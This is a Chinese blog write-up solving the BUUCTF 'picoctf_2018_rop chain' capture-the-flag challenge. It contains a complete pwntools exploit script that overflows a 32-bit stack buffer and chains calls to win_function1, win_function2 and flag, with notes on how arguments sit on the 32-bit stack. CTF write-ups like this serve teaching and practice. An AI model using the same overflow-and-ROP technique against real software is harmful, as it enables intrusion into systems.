【32位系统传参】BUUCTF picoctf_2018_rop chain

Thursday, December 29, 2022
本文共442字
1分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/32%E4%BD%8D%E7%B3%BB%E7%BB%9F%E4%BC%A0%E5%8F%82buuctf-picoctf_2018_rop-chain/。商业转载请联系作者获得授权,非商业转载请注明出处!

Sometimes being a friend means mastering the art of timing. There is a time for silence. A time to let go and allow people to hurl themselves into their own destiny. And a time to prepare to pick up the pieces when it’s all over. — Octavia E. Butler

原题链接

checksec

文内图片

ida

文内图片 文内图片 文内图片 文内图片 文内图片

解题思路很简单,先后调用win_function1、winfunction2、flag函数即可,重要的是rop链的顺序,32位系统比较杂乱

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8
from LibcSearcher import LibcSearcher

pss: bool = True
fn: str = "./PicoCTF_2018_rop_chain"
libc_name: str = "/home/ctf/share/share_files/security/buuctf_libc/libc-2.23_32.so"
port: str = "28219"
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        """)
    else:
        p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(**kwargs):
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")

def sendline_after_clean(content: bytes) -> None:
    p.clean()
    p.sendline(content)

def interactive_after_clean() -> None:
    p.clean()
    p.interactive()


#需要自行设定offset
offset:int = 0x18 + 0x4

payload = flat([
    m_elf.sym['win_function1'],
    m_elf.sym['win_function2'],
    m_elf.sym['flag'],
    -1163220307,
    -559039827
])

payload = flat({offset : payload})

sendline_after_clean(payload)

interactive_after_clean()

调用win1,因为没有参数,所以不用安排栈 文内图片 等到win1结束时,有一条ret指令,会将win2弹入EIP

而win2是一个有参数的函数,为了获取栈中参数,32位系统的方法是,使用[ebp+8]作为第一个参数,而ebp的值如下图所示:

文内图片

所以参数和指令之间要隔开

flag函数同理